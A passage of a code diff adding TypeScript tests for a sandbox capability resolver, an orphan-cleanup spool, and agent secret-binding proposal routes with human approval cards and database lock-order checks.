+    // A provider that declares the capability and verifies the prerequisite gets
+    // the streaming path.
+    const declared = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentExecute"],
+      declared: { incrementalSessionOutput: true },
+    });
+    expect(declared.incrementalSessionOutput).toBe(true);
+
+    // A declaration never grants the capability without the verified verb.
+    const declaredButUnverified = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: [],
+      declared: { incrementalSessionOutput: true },
+    });
+    expect(declaredButUnverified.incrementalSessionOutput).toBe(false);
+  });
+
+  it("test_config_resolution_failure_fails_closed_on_incremental_session_output", () => {
+    // Config resolution failed, so the provider is untrusted. The narrowing must
+    // deny incremental session output even with a positive declaration, so the
+    // session-output streaming gate fails closed to the poll path.
+    const narrowing = buildSandboxCapabilityNarrowing({
+      leasePolicy: "ephemeral",
+      leaseMetadata: {},
+      configResolutionFailed: true,
+    });
+    expect(narrowing.incrementalSessionOutput).toBe(false);
+
+    const effective = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentExecute"],
+      declared: { incrementalSessionOutput: true },
+      narrowing,
+    });
+    expect(effective.incrementalSessionOutput).toBe(false);
+  });
+
+  it("test_concurrent_sync_operations_is_opt_in_and_needs_both_sync_verbs", () => {
+    // Parallel bidirectional file sync is opt-in and direction-neutral. It needs
+    // both sync verbs, so a provider that verifies only one direction cannot get
+    // the capability. An absent declaration denies it even with both verbs.
+    const undeclared = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentSyncIn", "environmentSyncOut"],
+      declared: null,
+    });
+    expect(undeclared.concurrentSyncOperations).toBe(false);
+
+    // A positive declaration with both verified verbs resolves true.
+    const bothVerbs = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentSyncIn", "environmentSyncOut"],
+      declared: { concurrentSyncOperations: true },
+    });
+    expect(bothVerbs.concurrentSyncOperations).toBe(true);
+
+    // Only the inbound verb: the outbound prerequisite is missing, so it resolves
+    // false.
+    const inOnly = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentSyncIn"],
+      declared: { concurrentSyncOperations: true },
+    });
+    expect(inOnly.concurrentSyncOperations).toBe(false);
+
+    // Only the outbound verb: the inbound prerequisite is missing, so it resolves
+    // false.
+    const outOnly = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentSyncOut"],
+      declared: { concurrentSyncOperations: true },
+    });
+    expect(outOnly.concurrentSyncOperations).toBe(false);
+  });
+
+  it("test_duplex_command_stream_absent_declaration_resolves_false", () => {
+    // The duplex channel is opt-in and fail-closed. An absent declaration denies
+    // the capability even when the worker verifies the duplex open verb. This
+    // matches the incremental-session-output pattern: an opt-in behavioral
+    // guarantee needs a positive declaration, not just a verified verb.
+    const undeclared = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["duplexChannelOpen"],
+      declared: null,
+    });
+    expect(undeclared.duplexCommandStream).toBe(false);
+  });
+
+  it("test_duplex_command_stream_needs_verified_worker_method", () => {
+    // A declaration never grants the capability without the verified duplex open
+    // verb. A provider that declares the capability but whose worker does not
+    // report the duplex open method resolves false.
+    const declaredButUnverified = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["environmentExecute"],
+      declared: { duplexCommandStream: true },
+    });
+    expect(declaredButUnverified.duplexCommandStream).toBe(false);
+  });
+
+  it("test_duplex_command_stream_declared_and_verified_resolves_true_but_narrowing_removes_it", () => {
+    // A provider that declares the capability and whose worker verifies the
+    // duplex open verb gets the capability.
+    const granted = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["duplexChannelOpen"],
+      declared: { duplexCommandStream: true },
+    });
+    expect(granted.duplexCommandStream).toBe(true);
+
+    // Per-target narrowing still removes a verified and declared capability, so a
+    // lease that cannot use the duplex channel keeps the file bridge.
+    const narrowed = resolveEffectiveSandboxCapabilities({
+      verifiedMethods: ["duplexChannelOpen"],
+      declared: { duplexCommandStream: true },
+      narrowing: { duplexCommandStream: false },
+    });
+    expect(narrowed.duplexCommandStream).toBe(false);
+  });
+
+  it("test_unknown_or_unavailable_verification_resolves_false", () => {
+    const declaredAll = {
+      reusableLeases: true,
+      nativeSyncIn: true,
+      nativeSyncOut: true,
+      persistentProcessSessions: true,
+      independentControlCommands: true,
+      incrementalSessionOutput: true,
+      concurrentSyncOperations: true,
+    };
+
+    for (const verifiedMethods of [null, undefined, [] as string[]]) {
+      const effective = resolveEffectiveSandboxCapabilities({ verifiedMethods, declared: declaredAll });
+      for (const key of SANDBOX_CAPABILITY_KEYS) {
+        expect(effective[key]).toBe(false);
+      }
+    }
+  });
+});
diff --git a/server/src/__tests__/sandbox-orphan-cleanup-spool.test.ts b/server/src/__tests__/sandbox-orphan-cleanup-spool.test.ts
new file mode 100644
index 00000000000..74b984114b5
--- /dev/null
+++ b/server/src/__tests__/sandbox-orphan-cleanup-spool.test.ts
@@ -0,0 +1,93 @@
+import { mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, beforeEach, describe, expect, it } from "vitest";
+import {
+  createSandboxOrphanCleanupSpool,
+  type DeferredOrphanCleanupRecord,
+} from "../services/sandbox-orphan-cleanup-spool.ts";
+
+function buildRecord(overrides: Partial<DeferredOrphanCleanupRecord> = {}): DeferredOrphanCleanupRecord {
+  return {
+    companyId: "company-1",
+    environmentId: "environment-1",
+    executionWorkspaceId: null,
+    issueId: null,
+    heartbeatRunId: "run-1",
+    provider: "fake",
+    providerLeaseId: "sandbox://fake/lease-1",
+    metadata: { driver: "sandbox", pluginKey: "example" },
+    ...overrides,
+  };
+}
+
+describe("createSandboxOrphanCleanupSpool", () => {
+  let dir!: string;
+
+  beforeEach(async () => {
+    dir = await mkdtemp(path.join(os.tmpdir(), "orphan-spool-unit-"));
+  });
+
+  afterEach(async () => {
+    await rm(dir, { recursive: true, force: true }).catch(() => undefined);
+  });
+
+  it("persists a record and loads it back after a restart", async () => {
+    const writer = createSandboxOrphanCleanupSpool(dir);
+    const record = buildRecord();
+    expect(await writer.append(record)).toBe(true);
+
+    // A fresh spool over the same directory models a process restart. The record
+    // survives, so the load returns it with every field intact.
+    const reader = createSandboxOrphanCleanupSpool(dir);
+    const loaded = await reader.load();
+    expect(loaded).toHaveLength(1);
+    expect(loaded[0]).toEqual(record);
+  });
+
+  it("removes a record so a later load returns nothing", async () => {
+    const spool = createSandboxOrphanCleanupSpool(dir);
+    const record = buildRecord();
+    await spool.append(record);
+    await spool.remove(record);
+    expect(await spool.load()).toEqual([]);
+    expect((await readdir(dir)).filter((name) => name.endsWith(".json"))).toHaveLength(0);
+  });
+
+  it("keeps one file when the same orphan is appended twice", async () => {
+    const spool = createSandboxOrphanCleanupSpool(dir);
+    const record = buildRecord();
+    await spool.append(record);
+    await spool.append(record);
+    // The file name keys on the provider lease id, so the second append overwrites
+    // the first file instead of persisting a duplicate.
+    const loaded = await spool.load();
+    expect(loaded).toHaveLength(1);
+  });
+
+  it("persists a record with a null provider lease id", async () => {
+    const spool = createSandboxOrphanCleanupSpool(dir);
+    const record = buildRecord({ providerLeaseId: null });
+    expect(await spool.append(record)).toBe(true);
+    const loaded = await spool.load();
+    expect(loaded).toHaveLength(1);
+    expect(loaded[0]?.providerLeaseId).toBeNull();
+  });
+
+  it("skips a malformed spool file and returns the other records", async () => {
+    const spool = createSandboxOrphanCleanupSpool(dir);
+    await spool.append(buildRecord());
+    // A torn or hand-edited file cannot authorize a teardown, so the load skips it
+    // and keeps the valid record.
+    await writeFile(path.join(dir, "broken.json"), "{ not json", "utf8");
+    await writeFile(path.join(dir, "wrong-shape.json"), JSON.stringify({ companyId: 1 }), "utf8");
+    const loaded = await spool.load();
+    expect(loaded).toHaveLength(1);
+    expect(loaded[0]?.providerLeaseId).toBe("sandbox://fake/lease-1");
+  });
+
+  it("returns an empty list when the spool directory does not exist", async () => {
+    const spool = createSandboxOrphanCleanupSpool(path.join(dir, "missing"));
+    expect(await spool.load()).toEqual([]);
+  });
+});
diff --git a/server/src/__tests__/secret-proposals-routes.test.ts b/server/src/__tests__/secret-proposals-routes.test.ts
index de218ae893a..124c8fcabc6 100644
--- a/server/src/__tests__/secret-proposals-routes.test.ts
+++ b/server/src/__tests__/secret-proposals-routes.test.ts
@@ -4,7 +4,7 @@ import os from "node:os";
 import path from "node:path";
 import express from "express";
 import request from "supertest";
-import { eq, sql } from "drizzle-orm";
+import { and, eq, sql } from "drizzle-orm";
 import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest";
 import {
   activityLog,
@@ -18,7 +18,10 @@ import {
   createDb,
   heartbeatRuns,
   issueComments,
+  issueThreadInteractions,
   issues,
+  userSecretDeclarations,
+  userSecretDefinitions,
 } from "@paperclipai/db";
 import { conflict } from "../errors.js";
 import { errorHandler } from "../middleware/error-handler.js";
@@ -26,6 +29,8 @@ import { secretRoutes } from "../routes/secrets.js";
 import { awsSecretsManagerProvider } from "../secrets/aws-secrets-manager-provider.js";
 import type { IssueAssignmentWakeupDeps } from "../services/issue-assignment-wakeup.js";
 import { issueService } from "../services/issues.js";
+import { issueThreadInteractionService } from "../services/issue-thread-interactions.js";
+import { agentService } from "../services/agents.js";
 import { createSecretProposalsService } from "../services/secret-proposals.js";
 import { secretService } from "../services/secrets.js";
 import {
@@ -55,9 +60,12 @@ describeEmbeddedPostgres("secret proposal routes", () => {
     await db.delete(activityLog);
     await db.delete(issueComments);
     await db.delete(companySecretProposals);
+    await db.delete(issueThreadInteractions);
     await db.delete(companySecretBindings);
     await db.delete(companySecretVersions);
     await db.delete(companySecrets);
+    await db.delete(userSecretDeclarations);
+    await db.delete(userSecretDefinitions);
     await db.delete(companySecretProviderConfigs);
     await db.delete(issues);
     await db.delete(heartbeatRuns);
@@ -98,6 +106,7 @@ describeEmbeddedPostgres("secret proposal routes", () => {
       companyId,
       agentId,
       status: "running",
+      responsibleUserId: "user-1",
       contextSnapshot: { issueId },
     });
     await db.insert(issues).values({
@@ -106,11 +115,62 @@ describeEmbeddedPostgres("secret proposal routes", () => {
       title: "Needs credential",
       identifier: "SEC-1",
       status: "in_progress",
+      responsibleUserId: "user-1",
       executionRunId: heartbeatRunId,
     });
     return { companyId, agentId, heartbeatRunId, issueId };
   }
 
+  async function holdIssueRowLock(issueId: string) {
+    let signalLocked!: () => void;
+    let releaseLock!: () => void;
+    const locked = new Promise<void>((resolve) => {
+      signalLocked = resolve;
+    });
+    const release = new Promise<void>((resolve) => {
+      releaseLock = resolve;
+    });
+    const transaction = db.transaction(async (tx) => {
+      await tx.select({ id: issues.id }).from(issues).where(eq(issues.id, issueId)).for("update");
+      signalLocked();
+      await release;
+    });
+    await locked;
+    return async () => {
+      releaseLock();
+      await transaction;
+    };
+  }
+
+  async function waitForBlockedForUpdate(tableName: string) {
+    for (let attempt = 0; attempt < 80; attempt += 1) {
+      const [waiting] = await db.execute<{ waiting: boolean }>(sql`
+        SELECT EXISTS (
+          SELECT 1
+          FROM pg_stat_activity
+          WHERE state = 'active'
+            AND wait_event_type = 'Lock'
+            AND query ILIKE ${`%${tableName}%`}
+            AND query ILIKE '%for update%'
+        ) AS waiting
+      `);
+      if (waiting?.waiting) return true;
+      await new Promise((resolve) => setTimeout(resolve, 25));
+    }
+    return false;
+  }
+
+  async function lockProposalNowait(proposalId: string) {
+    await db.transaction(async (tx) => {
+      await tx.execute(sql`
+        SELECT id
+        FROM company_secret_proposals
+        WHERE id = ${proposalId}
+        FOR UPDATE NOWAIT
+      `);
+    });
+  }
+
   function createAgentApp(
     fixture: Awaited<ReturnType<typeof seedRun>>,
     source: "agent_jwt" | "agent_key" = "agent_jwt",
@@ -320,6 +380,32 @@ describeEmbeddedPostgres("secret proposal routes", () => {
         justification: "Inject for the task",
       });
     expect(bindingResponse.status).toBe(201);
+    const [confirmation] = await db.select().from(issueThreadInteractions);
+    expect(confirmation).toMatchObject({
+      issueId: fixture.issueId,
+      kind: "request_confirmation",
+      status: "pending",
+      sourceRunId: fixture.heartbeatRunId,
+      createdByAgentId: fixture.agentId,
+      addresseeAgentId: null,
+      requestedResolverPolicy: "human_only",
+      effectiveResolverPolicy: "human_only",
+      resolverPolicyProvenance: "explicit",
+      effectiveResolverPolicySource: "governed_action",
+      payload: expect.objectContaining({
+        secretProposal: expect.objectContaining({
+          proposalId: bindingResponse.body.id,
+          sourceSecretLabel: "dev/vendor/token",
+          configPath: "env.VENDOR_TOKEN",
+          targetAgentId: fixture.agentId,
+          targetAgentName: "Proposer",
+          justification: "Inject for the task",
+        }),
+      }),
+    });
+    expect(JSON.stringify(confirmation.payload)).not.toContain("top-secret");
+    expect(JSON.stringify(confirmation.payload)).not.toContain("fingerprint");
+    expect(confirmation.payload).not.toHaveProperty("secretId");
 
     const agentApprovalDenied = await request(createAgentApp(fixture))
       .post(`/api/companies/${fixture.companyId}/secret-proposals/${secretResponse.body.id}/approve`)
@@ -364,9 +450,28 @@ describeEmbeddedPostgres("secret proposal routes", () => {
     });
     const actions = (await db.select().from(activityLog)).map((row) => row.action);
     expect(actions.filter((action) => action === "secret.proposal.approved")).toHaveLength(2);
-    expect(actions).toEqual(expect.arrayContaining(["secret.proposal.created", "secret.created", "agent.updated"]));
+    expect(actions).toEqual(expect.arrayContaining([
+      "secret.proposal.created",
+      "secret.created",
+      "agent.updated",
+      "secret.binding.created",
+    ]));
+    expect(await db.select().from(issueThreadInteractions)).toEqual([
+      expect.objectContaining({
+        id: confirmation.id,
+        status: "accepted",
+        result: expect.objectContaining({
+          outcome: "accepted",
+          secretProposal: expect.objectContaining({ status: "executed" }),
+        }),
+      }),
+    ]);
     expect(await db.select().from(issueComments)).toEqual([
-      expect.objectContaining({ issueId: fixture.issueId, authorUserId: "board-user" }),
+      expect.objectContaining({
+        issueId: fixture.issueId,
+        authorUserId: "board-user",
+        body: expect.stringContaining("GET /api/agents/me/secrets"),
+      }),
     ]);
   });
 
@@ -418,6 +523,300 @@ describeEmbeddedPostgres("secret proposal routes", () => {
     ]);
   });
 
+  it("proposes and approves a binding by resolving the proposer's own sourceConfigPath", async () => {
+    const fixture = await seedRun();
+    const sourceSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/source-path/token",
+      key: "SOURCE_PATH_TOKEN",
+      provider: "local_encrypted",
+      value: "source-path-secret",
+    });
+    await secretService(db).createBinding({
+      companyId: fixture.companyId,
+      secretId: sourceSecret.id,
+      targetType: "agent",
+      targetId: fixture.agentId,
+      configPath: "access.existing_source",
+    });
+
+    const proposal = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        sourceConfigPath: "access.existing_source",
+        configPath: "access.new_alias",
+        justification: "Reuse the credential under the task-specific alias",
+      });
+
+    expect(proposal.status).toBe(201);
+    expect(proposal.body).toMatchObject({
+      kind: "binding",
+      secretId: sourceSecret.id,
+      configPath: "access.new_alias",
+      target: { id: fixture.agentId },
+    });
+    expect(await db.select().from(companySecretProposals).where(eq(companySecretProposals.id, proposal.body.id)))
+      .toEqual([expect.objectContaining({ secretId: sourceSecret.id, targetId: fixture.agentId })]);
+
+    const approved = await request(createBoardApp(fixture))
+      .post(`/api/companies/${fixture.companyId}/secret-proposals/${proposal.body.id}/approve`)
+      .send({});
+
+    expect(approved.status).toBe(200);
+    expect(await db.select().from(companySecretBindings)).toEqual(expect.arrayContaining([
+      expect.objectContaining({
+        secretId: sourceSecret.id,
+        targetId: fixture.agentId,
+        configPath: "access.new_alias",
+      }),
+    ]));
+  });
+
+  it("rejects binding proposals that provide both secretId and sourceConfigPath", async () => {
+    const fixture = await seedRun();
+    const sourceSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/mutual-exclusion/token",
+      key: "MUTUAL_EXCLUSION_TOKEN",
+      provider: "local_encrypted",
+      value: "mutual-exclusion-secret",
+    });
+    await secretService(db).createBinding({
+      companyId: fixture.companyId,
+      secretId: sourceSecret.id,
+      targetType: "agent",
+      targetId: fixture.agentId,
+      configPath: "access.mutual_exclusion_source",
+    });
+
+    const response = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: sourceSecret.id,
+        sourceConfigPath: "access.mutual_exclusion_source",
+        configPath: "access.new_alias",
+        justification: "This request is intentionally ambiguous",
+      });
+
+    expect(response.status).toBe(400);
+    expect(response.body.error).toMatch(/exactly one of secretId, sourceConfigPath, or secretProposalId/);
+    expect(await db.select().from(companySecretProposals)).toHaveLength(0);
+  });
+
+  it("accepts a user-scoped source secret only through the proposer's existing binding", async () => {
+    const fixture = await seedRun();
+    const secrets = secretService(db);
+    const definition = await secrets.createUserSecretDefinition(fixture.companyId, {
+      key: "personal_source_token",
+      name: "Personal source token",
+      provider: "local_encrypted",
+    });
+    const userSecret = await secrets.createCurrentUserSecretValue(fixture.companyId, "user-1", {
+      definitionId: definition.id,
+      value: "personal-source-secret",
+    });
+    await agentService(db).update(fixture.agentId, {
+      adapterConfig: {
+        "access.personal_source": {
+          type: "user_secret_ref",
+          key: definition.key,
+          version: "latest",
+          required: true,
+          allowMissingOverride: false,
+        },
+      },
+    });
+
+    const proposal = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        sourceConfigPath: "access.personal_source",
+        configPath: "access.personal_alias",
+        justification: "Reuse the already-bound user credential",
+      });
+
+    expect(proposal.status).toBe(201);
+    expect(proposal.body).toMatchObject({ secretId: userSecret.id, target: { id: fixture.agentId } });
+
+    const approved = await request(createBoardApp(fixture))
+      .post(`/api/companies/${fixture.companyId}/secret-proposals/${proposal.body.id}/approve`)
+      .send({});
+
+    expect(approved.status).toBe(200);
+    const updatedAgent = await agentService(db).getById(fixture.agentId);
+    expect(updatedAgent?.adapterConfig).toMatchObject({
+      "access.personal_alias": {
+        type: "user_secret_ref",
+        key: definition.key,
+        version: "latest",
+        required: true,
+        allowMissingOverride: false,
+      },
+    });
+    expect(await db.select().from(userSecretDeclarations).where(eq(userSecretDeclarations.targetId, fixture.agentId)))
+      .toEqual(expect.arrayContaining([
+        expect.objectContaining({
+          userSecretDefinitionId: definition.id,
+          configPath: "access.personal_source",
+        }),
+        expect.objectContaining({
+          userSecretDefinitionId: definition.id,
+          configPath: "access.personal_alias",
+        }),
+      ]));
+  });
+
+  it("preserves user-secret declaration semantics when rebinding a source secret to a report", async () => {
+    const fixture = await seedRun();
+    const reportAgentId = randomUUID();
+    await db.insert(agents).values({
+      id: reportAgentId,
+      companyId: fixture.companyId,
+      name: "Report",
+      role: "engineer",
+      reportsTo: fixture.agentId,
+      adapterType: "codex_local",
+      adapterConfig: {},
+      permissions: {},
+      status: "idle",
+    });
+    const secrets = secretService(db);
+    const definition = await secrets.createUserSecretDefinition(fixture.companyId, {
+      key: "personal_report_source_token",
+      name: "Personal report source token",
+      provider: "local_encrypted",
+    });
+    const userSecret = await secrets.createCurrentUserSecretValue(fixture.companyId, "user-1", {
+      definitionId: definition.id,
+      value: "personal-report-source-secret",
+    });
+    await secrets.createCurrentUserSecretValue(fixture.companyId, "user-2", {
+      definitionId: definition.id,
+      value: "second-user-report-secret",
+    });
+    await agentService(db).update(fixture.agentId, {
+      adapterConfig: {
+        "access.personal_report_source": {
+          type: "user_secret_ref",
+          key: definition.key,
+          version: "latest",
+          required: true,
+          allowMissingOverride: false,
+        },
+      },
+    });
+
+    const proposal = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        sourceConfigPath: "access.personal_report_source",
+        targetAgentId: reportAgentId,
+        configPath: "access.personal_alias",
+        justification: "Attempt to pass a personal credential to a report",
+      });
+
+    expect(proposal.status).toBe(201);
+    expect(proposal.body).toMatchObject({ secretId: userSecret.id, target: { id: reportAgentId } });
+
+    const approved = await request(createBoardApp(fixture))
+      .post(`/api/companies/${fixture.companyId}/secret-proposals/${proposal.body.id}/approve`)
+      .send({});
+
+    expect(approved.status).toBe(200);
+    const report = await agentService(db).getById(reportAgentId);
+    expect(report?.adapterConfig).toMatchObject({
+      "access.personal_alias": {
+        type: "user_secret_ref",
+        key: definition.key,
+        version: "latest",
+        required: true,
+        allowMissingOverride: false,
+      },
+    });
+    expect(await db.select().from(userSecretDeclarations).where(and(
+      eq(userSecretDeclarations.targetId, reportAgentId),
+      eq(userSecretDeclarations.configPath, "access.personal_alias"),
+    ))).toEqual([expect.objectContaining({ userSecretDefinitionId: definition.id })]);
+    await expect(secrets.resolveUserSecretValue(
+      fixture.companyId,
+      {
+        definitionKey: definition.key,
+        responsibleUserId: "user-1",
+      },
+      {
+        consumerType: "agent",
+        consumerId: reportAgentId,
+        configPath: "access.personal_alias",
+      },
+    )).resolves.toMatchObject({ value: "personal-report-source-secret" });
+    await expect(secrets.resolveUserSecretValue(
+      fixture.companyId,
+      {
+        definitionKey: definition.key,
+        responsibleUserId: "user-2",
+      },
+      {
+        consumerType: "agent",
+        consumerId: reportAgentId,
+        configPath: "access.personal_alias",
+      },
+    )).resolves.toMatchObject({ value: "second-user-report-secret" });
+  });
+
+  it("returns 404 when sourceConfigPath is missing or belongs to another agent", async () => {
+    const fixture = await seedRun();
+    const otherAgentId = randomUUID();
+    await db.insert(agents).values({
+      id: otherAgentId,
+      companyId: fixture.companyId,
+      name: "Other agent",
+      role: "engineer",
+      adapterType: "codex_local",
+      adapterConfig: {},
+      permissions: {},
+      status: "idle",
+    });
+    const otherSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/other-agent/token",
+      key: "OTHER_AGENT_TOKEN",
+      provider: "local_encrypted",
+      value: "other-agent-secret",
+    });
+    await secretService(db).createBinding({
+      companyId: fixture.companyId,
+      secretId: otherSecret.id,
+      targetType: "agent",
+      targetId: otherAgentId,
+      configPath: "access.other_agent_only",
+    });
+    const agentApp = createAgentApp(fixture);
+
+    const missing = await request(agentApp)
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        sourceConfigPath: "access.does_not_exist",
+        configPath: "access.new_alias",
+        justification: "Try an unresolved source",
+      });
+    const crossAgent = await request(agentApp)
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        sourceConfigPath: "access.other_agent_only",
+        configPath: "access.new_alias",
+        justification: "Try another agent's source",
+      });
+
+    expect(missing.status).toBe(404);
+    expect(crossAgent.status).toBe(404);
+    expect(missing.body.error).toBe("Source secret binding not found");
+    expect(crossAgent.body.error).toBe("Source secret binding not found");
+    expect(await db.select().from(companySecretProposals)).toHaveLength(0);
+  });
+
   it("serializes proposal quotas and exposes bounded list pagination", async () => {
     const fixture = await seedRun();
     const liveSecret = await secretService(db).create(fixture.companyId, {
@@ -426,6 +825,13 @@ describeEmbeddedPostgres("secret proposal routes", () => {
       provider: "local_encrypted",
       value: "quota-source-secret",
     });
+    await secretService(db).createBinding({
+      companyId: fixture.companyId,
+      secretId: liveSecret.id,
+      targetType: "agent",
+      targetId: fixture.agentId,
+      configPath: "access.quota_source",
+    });
     const agentApp = createAgentApp(fixture);
 
     const responses = await Promise.all(Array.from({ length: 21 }, (_, index) =>
@@ -433,7 +839,7 @@ describeEmbeddedPostgres("secret proposal routes", () => {
         .post("/api/agents/me/secret-proposals")
         .send({
           kind: "binding",
-          secretId: liveSecret.id,
+          sourceConfigPath: "access.quota_source",
           configPath: `env.QUOTA_${index}`,
           justification: "Exercise the concurrent proposal cap",
         })));
@@ -493,6 +899,284 @@ describeEmbeddedPostgres("secret proposal routes", () => {
     await expect(proposals.sweepExpired(new Date(), 2)).resolves.toBe(2);
   });
 
+  it("mirrors binding proposal rejection, withdrawal, and expiry onto linked cards", async () => {
+    const fixture = await seedRun();
+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/lifecycle/source",
+      key: "LIFECYCLE_SOURCE",
+      provider: "local_encrypted",
+      value: "lifecycle-secret",
+    });
+    const agentApp = createAgentApp(fixture);
+    const boardApp = createBoardApp(fixture);
+    const createBinding = async (configPath: string) => request(agentApp)
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath,
+        justification: "Exercise mirrored lifecycle",
+      });
+
+    const rejected = await createBinding("access.REJECTED_ALIAS");
+    expect(rejected.status).toBe(201);
+    expect((await request(boardApp)
+      .post(`/api/companies/${fixture.companyId}/secret-proposals/${rejected.body.id}/reject`)
+      .send({ reason: "Use a narrower alias" })).status).toBe(200);
+
+    const withdrawn = await createBinding("access.WITHDRAWN_ALIAS");
+    expect(withdrawn.status).toBe(201);
+    expect((await request(agentApp)
+      .delete(`/api/agents/me/secret-proposals/${withdrawn.body.id}`)).status).toBe(200);
+
+    const expired = await createBinding("access.EXPIRED_ALIAS");
+    expect(expired.status).toBe(201);
+    await db.update(companySecretProposals)
+      .set({ expiresAt: new Date(Date.now() - 1_000) })
+      .where(eq(companySecretProposals.id, expired.body.id));
+    await expect(createSecretProposalsService(db).sweepExpired()).resolves.toBe(1);
+
+    const proposalRows = await db.select().from(companySecretProposals);
+    const cards = await db.select().from(issueThreadInteractions);
+    const cardByProposalId = new Map(cards.map((card) => {
+      const payload = card.payload as { secretProposal?: { proposalId?: string } };
+      return [payload.secretProposal?.proposalId, card];
+    }));
+    expect(proposalRows).toEqual(expect.arrayContaining([
+      expect.objectContaining({ id: rejected.body.id, status: "rejected" }),
+      expect.objectContaining({ id: withdrawn.body.id, status: "withdrawn" }),
+      expect.objectContaining({ id: expired.body.id, status: "expired" }),
+    ]));
+    expect(cardByProposalId.get(rejected.body.id)).toMatchObject({ status: "rejected" });
+    expect(cardByProposalId.get(withdrawn.body.id)).toMatchObject({ status: "cancelled" });
+    expect(cardByProposalId.get(expired.body.id)).toMatchObject({ status: "expired" });
+  });
+
+  it("mirrors card rejection onto the linked binding proposal", async () => {
+    const fixture = await seedRun();
+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/card-lifecycle/source",
+      key: "CARD_LIFECYCLE_SOURCE",
+      provider: "local_encrypted",
+      value: "card-lifecycle-secret",
+    });
+    const proposed = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath: "access.CARD_REJECTED_ALIAS",
+        justification: "Exercise reverse lifecycle mirroring",
+      });
+    expect(proposed.status).toBe(201);
+
+    const [card] = await db.select().from(issueThreadInteractions)
+      .where(eq(issueThreadInteractions.id, proposed.body.interactionId));
+    expect(card).toMatchObject({ status: "pending" });
+    await issueThreadInteractionService(db).rejectInteraction(
+      { id: fixture.issueId, companyId: fixture.companyId, status: "in_progress" },
+      card!.id,
+      { reason: "Use the canonical binding name" },
+      { userId: "board-user" },
+    );
+
+    expect(await db.select().from(companySecretProposals)
+      .where(eq(companySecretProposals.id, proposed.body.id)))
+      .toEqual([expect.objectContaining({
+        status: "rejected",
+        resolutionReason: "Use the canonical binding name",
+      })]);
+  });
+
+  it("settles an accepted card execution failure on both the card and proposal", async () => {
+    const fixture = await seedRun();
+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/card-failure/source",
+      key: "CARD_FAILURE_SOURCE",
+      provider: "local_encrypted",
+      value: "card-failure-secret",
+    });
+    const proposed = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath: "access.CARD_FAILED_ALIAS",
+        justification: "Exercise atomic execution failure settlement",
+      });
+    expect(proposed.status).toBe(201);
+    await db.update(issueThreadInteractions)
+      .set({
+        status: "accepted",
+        result: { version: 1, outcome: "accepted" },
+        resolvedByUserId: "board-user",
+        resolvedAt: new Date(),
+      })
+      .where(eq(issueThreadInteractions.id, proposed.body.interactionId));
+
+    const card = await issueThreadInteractionService(db).recordSecretProposalExecutionResult(
+      { id: fixture.issueId, companyId: fixture.companyId },
+      proposed.body.interactionId,
+      proposed.body.id,
+      { status: "failed", errorCode: "permission_denied" },
+    );
+
+    expect(card).toMatchObject({
+      status: "accepted",
+      result: {
+        outcome: "accepted",
+        secretProposal: { status: "failed", errorCode: "permission_denied" },
+      },
+    });
+    expect(await db.select().from(companySecretProposals)
+      .where(eq(companySecretProposals.id, proposed.body.id)))
+      .toEqual([expect.objectContaining({
+        status: "rejected",
+        resolvedByUserId: "board-user",
+        resolutionReason: "Interaction acceptance failed: permission_denied",
+      })]);
+  });
+
+  it("waits on the issue before locking a linked proposal during card rejection", async () => {
+    const fixture = await seedRun();
+    const liveSecret = await secretService(db).create(fixture.companyId, {
+      name: "dev/card-lock-order/source",
+      key: "CARD_LOCK_ORDER_SOURCE",
+      provider: "local_encrypted",
+      value: "card-lock-order-secret",
+    });
+    const proposed = await request(createAgentApp(fixture))
+      .post("/api/agents/me/secret-proposals")
+      .send({
+        kind: "binding",
+        secretId: liveSecret.id,
+        configPath: "access.CARD_LOCK_ORDER_ALIAS",
+        justification: "Verify the proposal-to-issue lock order",
+      });
+    expect(proposed.status).toBe(201);
+
+    const releaseIssueLock = await holdIssueRowLock(fixture.issueId);
+
+    const rejection = issueThreadInteractionService(db).rejectInteraction(
+      { id: fixture.issueId, companyId: fixture.companyId, status: "in_progress" },
+      proposed.body.interactionId,
+      { reason: "Reject after the lock-order check" },
+      { userId: "board-user" },
+    );
+
+    try {
+      expect(await waitForBlockedForUpdate("issues")).toBe(true);
+
+      // Terminal issue transitions already hold the issue before expiring a
+      // proposal. Rejection must wait there without taking the proposal first.
+      await expect(lockProposalNowait(proposed.body.id)).resolves.toBeUndefined();
+    } finally {
+      await releaseIssueLock();
+    }
+
+    await expect(rejection).resolves.toMatchObject({ status: "rejected" });
+  });
+
+  it("waits on the issue before locking a proposal execution result", async () => {
+    const fixture = await seedRun();
